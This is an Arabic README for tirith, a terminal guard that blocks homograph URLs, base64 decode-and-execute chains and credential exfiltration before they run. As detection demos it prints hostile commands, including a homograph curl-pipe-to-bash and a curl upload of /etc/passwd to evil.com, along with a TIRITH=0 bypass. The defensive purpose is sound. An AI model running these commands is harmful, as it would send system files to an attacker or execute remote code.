tirith

متصفحك سيلتقط هذا. طرفيتك لن تفعل.

الموقع الإلكتروني | التوثيق | SKILL.md | سجل التغييرات | الإصدارات

_{مشروع مفتوح المصدر مستقل، مع استضافة مدعومة من برنامج Vercel للمصادر المفتوحة (دفعة ربيع 2026).}

---

هل يمكنك ملاحظة الفرق؟``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

لا يمكنك. ولا حتى طرفيتك. كلا حرفي `і` هما سيريليان (U+0456)، وليسا `i` اللاتيني. عنوان URL الثاني يُحلّ إلى خادم المهاجم. يُنفَّذ السكربت قبل أن تلاحظ.

حلّت المتصفحات هذه المشكلة منذ سنوات. لا تزال الطرفيات تعرض Unicode و ANSI escapes والأحرف غير المرئية دون سؤال. تشغّل وكلاء الذكاء الاصطناعي أوامر shell وتثبّت الحزم دون فحص ما بداخلها.

**يقف Tirith عند البوابة.** يعترض الأوامر والمحتوى الملصق والملفات الممسوحة بحثًا عن عناوين URL المتشابهة، والحمولات المُموّهة، وتسريب بيانات الاعتماد، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة، والحزم/النطاقات/عناوين IP المعروفة بالضرر من قاعدة بيانات استخبارات تهديدات موقّعة قبل تنفيذها.```bash
brew install tirith

ثم فعّلها في ملف تعريف الصدفة الخاص بك:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

> [!TIP]
> `eval "$(tirith init)"` يكتشف تلقائيًا الصدفة الحالية لديك (يفحص العملية الأصلية ويرجع إلى `$SHELL` إذا لزم الأمر). لا تكون راية `--shell` الصريحة مطلوبة إلا عندما تريد تجاوز الكشف.

هذا كل ما يتعلق بتغطية الصدفة التفاعلية. يتم فحص الأوامر المقبولة من تلك الصدفة أثناء تحميل الخطاف وسلامته؛ يعتمد سلوك الحظر الدقيق على الصدفة والوضع. شغّل `tirith doctor` بعد التثبيت والترقيات، واقرأ [enforcement by shell](#enforcement-by-shell) قبل التعامل مع الخطاف كحدود للتفويض. تبقى الأوامر النظيفة صامتة وتسلك عادةً المسار السريع.

متاح أيضًا عبر [npm](#cross-platform)، و[cargo](#cross-platform)، و[mise](#cross-platform)، و[apt/dnf](#linux-packages)، و[المزيد](#install).

---

## شاهدها أثناء العمل

**هجوم التماثل الرسومي، محظور قبل التنفيذ:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

الأمر لا يُنفَّذ أبدًا.

التمرير إلى shell عبر رابط نظيف، مع تحذير، دون حظر:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

تحذير يُطبع إلى stderr. الأمر لا يزال يعمل.

**سلسلة فك ترميز Base64 والتنفيذ، محظورة:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

يكتشف سلاسل فك التشفير عبر أغلفة sudo/env و PowerShell -EncodedCommand أيضًا.

تسريب بيانات الاعتماد، محظور:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

يغطي جميع علامات الرفع الخاصة بـ curl/wget، ومتغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، واستبدال الأوامر.

**ملف مهارة خبيث، تم اكتشافه عند الفحص:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

يفحص ملفات JS/Python بحثًا عن الحمولات المُبهمة، وتنفيذ التعليمات البرمجية الديناميكي، وأنماط تسريب الأسرار.

أوامر عادية، غير مرئية:``` $ git status $ ls -la $ docker compose up -d

لا شيء. صفر مخرجات. أنت تنسى أن tirith يعمل.

---

## ما الذي يكتشفه

**244 قاعدة كشف عبر 35 فئة.**